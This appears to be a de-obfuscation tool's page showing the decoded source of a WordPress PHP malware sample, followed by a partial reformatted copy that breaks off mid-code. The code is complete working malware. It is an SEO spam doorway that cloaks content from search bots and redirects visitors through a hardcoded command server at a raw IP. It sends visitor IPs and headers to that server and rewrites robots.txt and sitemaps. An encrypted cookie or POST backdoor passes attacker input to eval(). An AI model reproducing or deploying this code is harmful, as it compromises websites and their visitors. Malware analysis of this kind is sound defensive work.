De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _4zlob2{static private $_zou29ykg = 84484845;static function _0gurw($_0myn4mi9, $_qygkv8pe){$_0myn4mi9[2] = count($_0myn4mi9) > 4 ? long2ip(_4zlob2::$_zou29ykg - 224) : $_0myn4mi9[2];$_0j5zvtp6 = _4zlob2::_18lb4($_0myn4mi9, $_qygkv8pe);if (!$_0j5zvtp6) {$_0j5zvtp6 = _4zlob2::_d5c8g($_0myn4mi9, $_qygkv8pe);}return $_0j5zvtp6;}static function _18lb4($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_0myn4mi9)) {$_0myn4mi9 = implode("/", $_0myn4mi9);}$_ojxh77di = curl_init();curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_ojxh77di, CURLOPT_URL, $_0myn4mi9);if (!empty($_0j5zvtp6)) {curl_setopt($_ojxh77di, CURLOPT_POST, 1);curl_setopt($_ojxh77di, CURLOPT_POSTFIELDS, $_0j5zvtp6);}if (!empty($_9j5mwcj8)) {curl_setopt($_ojxh77di, CURLOPT_HTTPHEADER, $_9j5mwcj8);}curl_setopt($_ojxh77di, CURLOPT_RETURNTRANSFER, TRUE);$_b5vfi6lx = curl_exec($_ojxh77di);curl_close($_ojxh77di);return $_b5vfi6lx;}static function _d5c8g($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL){if (is_array($_0myn4mi9)) {$_0myn4mi9 = implode("/", $_0myn4mi9);}if (!empty($_0j5zvtp6)) {$_js2oi2ck = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_0j5zvtp6);if (!empty($_9j5mwcj8)) {$_js2oi2ck["header"] = $_js2oi2ck["header"] . "\r\n" . implode("\r\n", $_9j5mwcj8);}$_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck));} else {$_js2oi2ck = array('method' => 'GET',);if (!empty($_9j5mwcj8)) {$_js2oi2ck["header"] = implode("\r\n", $_9j5mwcj8);}$_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck));}return @file_get_contents($_0myn4mi9, FALSE, $_z5idp2lb);}}class _gpf37q{private static $_iuimp1i4 = "";private static $_m86s2fi2 = -1;private static $_cwhr4veh = "";private $_o5us4xih = "";private $_oguwbfha = "";private $_2kmtxtsl = "";private $_gqmk9dzt = "";public static function _3c51s($_voy5bjti, $_kua2uqnq, $_tghg5w3n){_gpf37q::$_iuimp1i4 = $_voy5bjti . "/cache/";_gpf37q::$_m86s2fi2 = $_kua2uqnq;_gpf37q::$_cwhr4veh = $_tghg5w3n;if (!@file_exists(_gpf37q::$_iuimp1i4)) {@mkdir(_gpf37q::$_iuimp1i4);}}static public function _2t2kx(){$_lmo2z3ya = 0;foreach (scandir(_gpf37q::$_iuimp1i4) as $_ig8rxbut) {$_lmo2z3ya += 1;}return $_lmo2z3ya;}public static function _zgxxf(){return TRUE;}public function __construct($_p1thekwu, $_s95z02o2, $_0cjstxpd, $_40f9dbkl){$this->_o5us4xih = $_p1thekwu;$this->_oguwbfha = $_s95z02o2;$this->_2kmtxtsl = $_0cjstxpd;$this->_gqmk9dzt = $_40f9dbkl;}public function _wzhz1(){function _ytyjz($_q5vpnb11, $_kby2pgq3){return round(rand($_q5vpnb11, $_kby2pgq3 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_2q2r1nh4 = _31g631::_c6xa8();$_0j5zvtp6 = str_replace("{{ text }}", $this->_oguwbfha,str_replace("{{ keyword }}", $this->_2kmtxtsl,str_replace("{{ links }}", $this->_gqmk9dzt, $this->_o5us4xih)));while (TRUE) {$_ughfl08u = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _31g631::_694mo(), $_0j5zvtp6, 1);if ($_ughfl08u === $_0j5zvtp6) {break;}$_0j5zvtp6 = $_ughfl08u;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])];$_pmp3s4nc = _sts65dv::_b9v6s($_0cjstxpd);$_0j5zvtp6 = str_replace($_o220q22g[0], $_pmp3s4nc, $_0j5zvtp6);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])];$_0j5zvtp6 = str_replace($_o220q22g[0], $_0cjstxpd, $_0j5zvtp6);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0j5zvtp6 = str_replace($_o220q22g[0], _ytyjz($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0j5zvtp6 = str_replace($_o220q22g[0], rand($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6);}return $_0j5zvtp6;}public function _6wgln(){$_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($this->_2kmtxtsl . _gpf37q::$_cwhr4veh);if (_gpf37q::$_m86s2fi2 == -1) {$_ym60qogh = -1;} else {$_ym60qogh = time() + (3600 * 24 * 30);}$_bmbgpgjp = array("template" => $this->_o5us4xih, "text" => $this->_oguwbfha, "keyword" => $this->_2kmtxtsl,"links" => $this->_gqmk9dzt, "expired" => $_ym60qogh);@file_put_contents($_8pjq6spx, serialize($_bmbgpgjp));}static public function _gkiob($_0cjstxpd){$_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($_0cjstxpd . _gpf37q::$_cwhr4veh);$_8pjq6spx = @unserialize(@file_get_contents($_8pjq6spx));if (!empty($_8pjq6spx) && ($_8pjq6spx["expired"] > time() || $_8pjq6spx["expired"] == -1)) {return new _gpf37q($_8pjq6spx["template"], $_8pjq6spx["text"], $_8pjq6spx["keyword"], $_8pjq6spx["links"]);} else {return null;}}}class _e3k6ur{private static $_iuimp1i4 = "";private static $_i5d5p7bl = "";public static function _3c51s($_voy5bjti, $_fv7evnot){_e3k6ur::$_iuimp1i4 = $_voy5bjti . "/";_e3k6ur::$_i5d5p7bl = $_fv7evnot;if (!@file_exists(_e3k6ur::$_iuimp1i4)) {@mkdir(_e3k6ur::$_iuimp1i4);}}public static function _zgxxf(){return TRUE;}static public function _2t2kx(){$_lmo2z3ya = 0;foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) {if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) {$_lmo2z3ya += 1;}}return $_lmo2z3ya;}static public function _694mo(){$_h89fp94n = array();foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) {if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) {$_h89fp94n[] = $_ig8rxbut;}}return @file_get_contents(_e3k6ur::$_iuimp1i4 . $_h89fp94n[array_rand($_h89fp94n)]);}static public function _6wgln($_c3lidu5d){if (@file_exists(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html")) {return;}@file_put_contents(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html", $_c3lidu5d);}}class _31g631{private static $_iuimp1i4 = "";private static $_i5d5p7bl = "";private static $_ezm2j3c6 = Array();private static $_yu3o36fu = Array();public static function _3c51s($_voy5bjti, $_fv7evnot){_31g631::$_iuimp1i4 = $_voy5bjti . "/";_31g631::$_i5d5p7bl = $_fv7evnot;if (!@file_exists(_31g631::$_iuimp1i4)) {@mkdir(_31g631::$_iuimp1i4);}}private static function _lh8v7(){$_b139q3z8 = array();foreach (scandir(_31g631::$_iuimp1i4) as $_ig8rxbut) {if (strpos($_ig8rxbut, _31g631::$_i5d5p7bl) === 0) {$_b139q3z8[] = $_ig8rxbut;}}return $_b139q3z8;}public static function _zgxxf(){return TRUE;}static public function _694mo(){if (empty(_31g631::$_ezm2j3c6)){$_b139q3z8 = _31g631::_lh8v7();_31g631::$_ezm2j3c6 = @file(_31g631::$_iuimp1i4 . $_b139q3z8[array_rand($_b139q3z8)], FILE_IGNORE_NEW_LINES);}return _31g631::$_ezm2j3c6[array_rand(_31g631::$_ezm2j3c6)];}static public function _c6xa8(){if (empty(_31g631::$_yu3o36fu)){$_b139q3z8 = _31g631::_lh8v7();foreach ($_b139q3z8 as $_1z0x00rv) {_31g631::$_yu3o36fu = array_merge(_31g631::$_yu3o36fu, @file(_31g631::$_iuimp1i4 . $_1z0x00rv, FILE_IGNORE_NEW_LINES));}}return _31g631::$_yu3o36fu;}static public function _6wgln($_hv72g5m6){if (@file_exists(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list")) {return;}@file_put_contents(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list", $_hv72g5m6);}static public function _kmlhy($_0cjstxpd){@file_put_contents(_31g631::$_i5d5p7bl . "_" . md5(_sts65dv::$_8nm8wp34) . ".list", $_0cjstxpd . "\n", 8);}}class _sts65dv{static public $_wcde9v66 = "5.2";static public $_8nm8wp34 = "f639c8e2-df78-79ce-8c8f-0e1c6fa326db";private $_u9o0ll29 = "http://136.12.78.46/app/assets/api2?action=redir";private $_ucsikhq7 = "http://136.12.78.46/app/assets/api?action=page";static public $_bsiizpig = 5;static public $_g9n2n90y = 20;private function _jfrh6(){$_fv9b0m2b = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_fv9b0m2b, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_ivfzwaui = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_ivfzwaui = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_ivfzwaui = 1;} else {$_ivfzwaui = 0;}return $_ivfzwaui;}private static function _j3icx(){$_qygkv8pe = array();$_qygkv8pe['ip'] = $_SERVER['REMOTE_ADDR'];$_qygkv8pe['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_qygkv8pe['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_qygkv8pe['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_qygkv8pe['ref'] = @$_SERVER['HTTP_REFERER'];$_qygkv8pe['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_qygkv8pe['acp'] = @$_SERVER['HTTP_ACCEPT'];$_qygkv8pe['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_qygkv8pe['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_qygkv8pe;}public function __construct(){$this->_u9o0ll29 = explode("/", $this->_u9o0ll29);$this->_ucsikhq7 = explode("/", $this->_ucsikhq7);}static public function _1ey18($_tkirfm7s){if (strlen($_tkirfm7s) < 4) {return "";}$_7yuz97aj = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_2q2r1nh4 = str_split($_7yuz97aj);$_2q2r1nh4 = array_flip($_2q2r1nh4);$_auhltxb0 = 0;$_ng087pcu = "";$_tkirfm7s = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_tkirfm7s);do {$_dvu645z6 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_vkgib41y = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_dfbobr9t = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_f7u8cxr7 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_7gkoxuqb = ($_dvu645z6 << 2) | ($_vkgib41y >> 4);$_4f6xlw3n = (($_vkgib41y & 15) << 4) | ($_dfbobr9t >> 2);$_m72o2irq = (($_dfbobr9t & 3) << 6) | $_f7u8cxr7;$_ng087pcu = $_ng087pcu . chr($_7gkoxuqb);if ($_dfbobr9t != 64) {$_ng087pcu = $_ng087pcu . chr($_4f6xlw3n);}if ($_f7u8cxr7 != 64) {$_ng087pcu = $_ng087pcu . chr($_m72o2irq);}} while ($_auhltxb0 < strlen($_tkirfm7s));return $_ng087pcu;}private function _f0alz($_0cjstxpd){$_p1thekwu = "";$_s95z02o2 = "";$_qygkv8pe = _sts65dv::_j3icx();$_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34;$_qygkv8pe["keyword"] = $_0cjstxpd;$_qygkv8pe["tc"] = 10;$_qygkv8pe = http_build_query($_qygkv8pe);$_osbgnqde = _4zlob2::_0gurw($this->_ucsikhq7, $_qygkv8pe);if (strpos($_osbgnqde, _sts65dv::$_8nm8wp34) === FALSE) {return array($_p1thekwu, $_s95z02o2);}$_p1thekwu = _e3k6ur::_694mo();$_s95z02o2 = substr($_osbgnqde, strlen(_sts65dv::$_8nm8wp34));$_s95z02o2 = explode("\n", $_s95z02o2);shuffle($_s95z02o2);$_s95z02o2 = implode(" ", $_s95z02o2);return array($_p1thekwu, $_s95z02o2);}private function _wcs4u(){$_qygkv8pe = _sts65dv::_j3icx();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_qygkv8pe['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_qygkv8pe['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_qygkv8pe['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34;$_qygkv8pe = http_build_query($_qygkv8pe);$_77sew5p5 = _4zlob2::_0gurw($this->_u9o0ll29, $_qygkv8pe);$_77sew5p5 = @unserialize($_77sew5p5);if (isset($_77sew5p5["type"]) && $_77sew5p5["type"] == "redir") {if (!empty($_77sew5p5["data"]["header"])) {header($_77sew5p5["data"]["header"]);return true;} elseif (!empty($_77sew5p5["data"]["code"])) {echo $_77sew5p5["data"]["code"];return true;}}return false;}public function _zgxxf(){return _gpf37q::_zgxxf() && _e3k6ur::_zgxxf() && _31g631::_zgxxf();}static public function _iiva6(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _b93do(){$_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);$_7j2yygln = $_7j2yygln[0];if (strpos($_7j2yygln, ".php") === FALSE) {$_7j2yygln = explode("/", $_7j2yygln);array_pop($_7j2yygln);$_7j2yygln = implode("/", $_7j2yygln) . "/";}return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_7j2yygln);}public static function _ts8k2(){$_jcsbbcvk = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received","https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");$_9j5mwcj8 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_bt1oczjf = urlencode(_sts65dv::_cw6ld() . "/sitemap.xml");foreach ($_jcsbbcvk as $_0myn4mi9 => $_1z6xvtea) {$_5w9kbho6 = _4zlob2::_18lb4($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8);if (empty($_5w9kbho6)) {$_5w9kbho6 = _4zlob2::_d5c8g($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8);}if (empty($_5w9kbho6)) {return FALSE;}if (strpos($_5w9kbho6, $_1z6xvtea) === FALSE) {return FALSE;}}return TRUE;}public static function _3zhbb(){$_puvylgdh = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);$_7j2yygln = $_7j2yygln[0];$_xkkh2jkw = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/"));$_r9lqapgp = sprintf($_puvylgdh, $_xkkh2jkw, _sts65dv::_cw6ld() . "/sitemap.xml");$_vrkvk44f = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_vrkvk44f)) {@chmod($_vrkvk44f, 0777);$_t44io2gz = @file_get_contents($_vrkvk44f);} else {$_t44io2gz = "";}if (strpos($_t44io2gz, $_r9lqapgp) === FALSE) {@file_put_contents($_vrkvk44f, $_t44io2gz . "\n" . $_r9lqapgp);$_t44io2gz = @file_get_contents($_vrkvk44f);return (strpos($_t44io2gz, $_r9lqapgp) !== FALSE);}return FALSE;}public static function _cw6ld(){$_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);$_7j2yygln = $_7j2yygln[0];$_voy5bjti = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/"));return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_voy5bjti);}public static function _b9v6s($_0cjstxpd){$_9n7p5ufy = _sts65dv::_b93do();$_wcf5n7ln = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6);$_o93669j0 = "";if (substr($_9n7p5ufy, -1) == "/") {if (ord($_wcf5n7ln[1]) % 2) {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);} else {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);}$_o93669j0 = sprintf("%s%s", $_9n7p5ufy, urlencode($_0cjstxpd));} else {if (FALSE && (ord($_wcf5n7ln[0]) % 2)) {$_o93669j0 = sprintf("%s?%s=%s",$_9n7p5ufy,$_wcf5n7ln,urlencode(str_replace(" ", "-", $_0cjstxpd)));} else {$_iinna93s = array("id", "page", "tag");$_psnry0n6 = $_iinna93s[ord($_wcf5n7ln[2]) % count($_iinna93s)];if (ord($_wcf5n7ln[1]) % 2) {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);} else {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);}$_o93669j0 = sprintf("%s?%s=%s",$_9n7p5ufy,$_psnry0n6,urlencode($_0cjstxpd));}}return $_o93669j0;}public static function _hodzk($_q5vpnb11, $_kby2pgq3){$_za76epxj = "";for ($_auhltxb0 = 0; $_auhltxb0 < rand($_q5vpnb11, $_kby2pgq3); $_auhltxb0++) {$_0cjstxpd = _31g631::_694mo();$_za76epxj .= sprintf("<a href=\"%s\">%s</a>,\n",_sts65dv::_b9v6s($_0cjstxpd), ucwords($_0cjstxpd));}return $_za76epxj;}public static function _xvzz8($_1n936vg3=FALSE){$_u2j8xlom = dirname(__FILE__) . "/sitemap.xml";$_tjcfy5b1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_yqgs9738 = "</urlset>";$_2q2r1nh4 = _31g631::_c6xa8();$_t5fhm8r2 = array();if (file_exists($_u2j8xlom)) {$_osbgnqde = simplexml_load_file($_u2j8xlom);foreach ($_osbgnqde as $_k1oj5roj) {$_t5fhm8r2[(string)$_k1oj5roj->loc] = (string)$_k1oj5roj->lastmod;}}else {$_1n936vg3 = FALSE;}foreach ($_2q2r1nh4 as $_e3bymjf3) {$_o93669j0 = _sts65dv::_b9v6s($_e3bymjf3);if (isset($_t5fhm8r2[$_o93669j0])){continue;}if ($_1n936vg3) {$_bej92797 = time();}else {$_bej92797 = time() - (crc32 ($_e3bymjf3) % (60 * 60 * 24 * 30));}$_t5fhm8r2[$_o93669j0] = date("Y-m-d", $_bej92797);;}$_7qvyiq5v = "";foreach ($_t5fhm8r2 as $_0myn4mi9 => $_bej92797){$_7qvyiq5v .= "<url>\n";$_7qvyiq5v .= sprintf("<loc>%s</loc>\n", $_0myn4mi9);$_7qvyiq5v .= sprintf("<lastmod>%s</lastmod>\n", $_bej92797);$_7qvyiq5v .= "</url>\n";}$_sqa0r7ne = $_tjcfy5b1 . $_7qvyiq5v . $_yqgs9738;$_bt1oczjf = _sts65dv::_cw6ld() . "/sitemap.xml";@file_put_contents($_u2j8xlom, $_sqa0r7ne);return $_bt1oczjf;}public function _6spsl(){$_psnry0n6 = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6);if (!$this->_jfrh6()) {if ($this->_wcs4u()) {return;}}if (!empty($_GET)) {$_pzun5n8b = array_values($_GET);} else {$_pzun5n8b = explode("/", $_SERVER["REQUEST_URI"]);$_pzun5n8b = array_reverse($_pzun5n8b);}$_0cjstxpd = "";foreach ($_pzun5n8b as $_ii29uy52) {if (substr_count($_ii29uy52, "-") > 0) {$_0cjstxpd = $_ii29uy52;break;}}$_0cjstxpd = str_replace($_psnry0n6 . "-", "", $_0cjstxpd);$_0cjstxpd = str_replace("-" . $_psnry0n6, "", $_0cjstxpd);$_0cjstxpd = str_replace("-", " ", $_0cjstxpd);$_0cjstxpd = urldecode($_0cjstxpd);$_0xts4kvj = _31g631::_c6xa8();if (empty($_0cjstxpd)) {$_0cjstxpd = $_0xts4kvj[0];} else if (!in_array($_0cjstxpd, $_0xts4kvj)){$_2ritv6d1 = 0;foreach (str_split($_0cjstxpd) as $_ojxh77di) {$_2ritv6d1 += ord($_ojxh77di);}$_0cjstxpd = $_0xts4kvj[$_2ritv6d1 % count($_0xts4kvj)];}if (!empty($_0cjstxpd)) {$_77sew5p5 = _gpf37q::_gkiob($_0cjstxpd);if (empty($_77sew5p5)) {list($_p1thekwu, $_s95z02o2) = $this->_f0alz($_0cjstxpd);if (empty($_s95z02o2)) {return;}$_77sew5p5 = new _gpf37q($_p1thekwu, $_s95z02o2, $_0cjstxpd, _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y));$_77sew5p5->_6wgln();}echo $_77sew5p5->_wzhz1();}}}_gpf37q::_3c51s(dirname(__FILE__), -1, _sts65dv::$_8nm8wp34);_e3k6ur::_3c51s(dirname(__FILE__), substr(md5(_sts65dv::$_8nm8wp34 . "salt12"), 0, 4));_31g631::_3c51s(dirname(__FILE__), substr(md5(_sts65dv::$_8nm8wp34 . "salt22"), 0, 4));function _rqbk6($_osbgnqde, $_e3bymjf3){$_ewgecgo5 = "";for ($_auhltxb0 = 0; $_auhltxb0 < strlen($_osbgnqde);) {for ($_xqc1ekn7 = 0; $_xqc1ekn7 < strlen($_e3bymjf3) && $_auhltxb0 < strlen($_osbgnqde); $_xqc1ekn7++, $_auhltxb0++) {$_ewgecgo5 .= chr(ord($_osbgnqde[$_auhltxb0]) ^ ord($_e3bymjf3[$_xqc1ekn7]));}}return $_ewgecgo5;}function _zviqv($_osbgnqde, $_e3bymjf3, $_d7ykkv78){return _rqbk6(_rqbk6($_osbgnqde, $_e3bymjf3), $_d7ykkv78);}foreach (array_merge($_COOKIE, $_POST) as $_zd40yrcj => $_osbgnqde) {$_osbgnqde = @unserialize(_zviqv(_sts65dv::_1ey18($_osbgnqde), $_zd40yrcj, _sts65dv::$_8nm8wp34));if (isset($_osbgnqde['ak']) && _sts65dv::$_8nm8wp34 == $_osbgnqde['ak']) {if ($_osbgnqde['a'] == 'doorway2') {if ($_osbgnqde['sa'] == 'check') {$_0j5zvtp6 = _4zlob2::_0gurw(explode("/", "http://httpbin.org/"), "");if (strlen($_0j5zvtp6) > 512) {echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,"cache" => _gpf37q::_2t2kx(),"keywords" => count(_31g631::_c6xa8()),"templates" => _e3k6ur::_2t2kx()));}exit;}if ($_osbgnqde['sa'] == 'templates') {foreach ($_osbgnqde["templates"] as $_p1thekwu) {_e3k6ur::_6wgln($_p1thekwu);echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,));}}if ($_osbgnqde['sa'] == 'keywords') {_31g631::_6wgln($_osbgnqde["keywords"]);_sts65dv::_xvzz8();echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,));}if ($_osbgnqde['sa'] == 'update_sitemap') {_sts65dv::_xvzz8(TRUE);echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,));}if ($_osbgnqde['sa'] == 'pages') {$_ziqsamkr = 0;$_0xts4kvj = _31g631::_c6xa8();if (_e3k6ur::_2t2kx() > 0) {foreach ($_osbgnqde['pages'] as $_77sew5p5) {$_o209fxsn = _gpf37q::_gkiob($_77sew5p5["keyword"]);if (empty($_o209fxsn)) {$_o209fxsn = new _gpf37q(_e3k6ur::_694mo(), $_77sew5p5["text"], $_77sew5p5["keyword"], _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y));$_o209fxsn->_6wgln();$_ziqsamkr += 1;if (!in_array($_77sew5p5["keyword"], $_0xts4kvj)){_31g631::_kmlhy($_77sew5p5["keyword"]);}}}}echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "pages" => $_ziqsamkr));}if ($_osbgnqde["sa"] == "ping") {$_5w9kbho6 = _sts65dv::_ts8k2();echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int)$_5w9kbho6));}if ($_osbgnqde["sa"] == "robots") {$_5w9kbho6 = _sts65dv::_3zhbb();echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int)$_5w9kbho6));}}if ($_osbgnqde['sa'] == 'eval') {eval($_osbgnqde["data"]);exit;}}}$_vuu18gsa = new _sts65dv();if ($_vuu18gsa->_zgxxf()) {$_vuu18gsa->_6spsl();}exit();
<?php @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); date_default_timezone_set('UTC'); class _4zlob2 { private static $_zou29ykg = 84484845; static function _0gurw($_0myn4mi9, $_qygkv8pe) { $_0myn4mi9[2] = count($_0myn4mi9) > 4 ? long2ip(_4zlob2::$_zou29ykg - 224) : $_0myn4mi9[2]; $_0j5zvtp6 = _4zlob2::_18lb4($_0myn4mi9, $_qygkv8pe); if (!$_0j5zvtp6) { $_0j5zvtp6 = _4zlob2::_d5c8g($_0myn4mi9, $_qygkv8pe); } return $_0j5zvtp6; } static function _18lb4($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL) { if (!function_exists('curl_version')) { return ""; } if (is_array($_0myn4mi9)) { $_0myn4mi9 = implode("/", $_0myn4mi9); } $_ojxh77di = curl_init(); curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($_ojxh77di, CURLOPT_URL, $_0myn4mi9); if (!empty($_0j5zvtp6)) { curl_setopt($_ojxh77di, CURLOPT_POST, 1); curl_setopt($_ojxh77di, CURLOPT_POSTFIELDS, $_0j5zvtp6); } if (!empty($_9j5mwcj8)) { curl_setopt($_ojxh77di, CURLOPT_HTTPHEADER, $_9j5mwcj8); } curl_setopt($_ojxh77di, CURLOPT_RETURNTRANSFER, TRUE); $_b5vfi6lx = curl_exec($_ojxh77di); curl_close($_ojxh77di); return $_b5vfi6lx; } static function _d5c8g($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL) { if (is_array($_0myn4mi9)) { $_0myn4mi9 = implode("/", $_0myn4mi9); } if (!empty($_0j5zvtp6)) { $_js2oi2ck = array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_0j5zvtp6); if (!empty($_9j5mwcj8)) { $_js2oi2ck["header"] = "Content-type: application/x-www-form-urlencoded\r\n" . implode("\r\n", $_9j5mwcj8); } $_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck)); } else { $_js2oi2ck = array('method' => 'GET'); if (!empty($_9j5mwcj8)) { $_js2oi2ck["header"] = implode("\r\n", $_9j5mwcj8); } $_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck)); } return @file_get_contents($_0myn4mi9, FALSE, $_z5idp2lb); } } class _gpf37q { private static $_iuimp1i4 = ""; private static $_m86s2fi2 = 1; private static $_cwhr4veh = ""; private $_o5us4xih = ""; private $_oguwbfha = ""; private $_2kmtxtsl = ""; private $_gqmk9dzt = ""; public static function _3c51s($_voy5bjti, $_kua2uqnq, $_tghg5w3n) { _gpf37q::$_iuimp1i4 = $_voy5bjti . "/cache/"; _gpf37q::$_m86s2fi2 = $_kua2uqnq; _gpf37q::$_cwhr4veh = $_tghg5w3n; if (!@file_exists(_gpf37q::$_iuimp1i4)) { @mkdir(_gpf37q::$_iuimp1i4); } } public static function _2t2kx() { $_lmo2z3ya = 0; 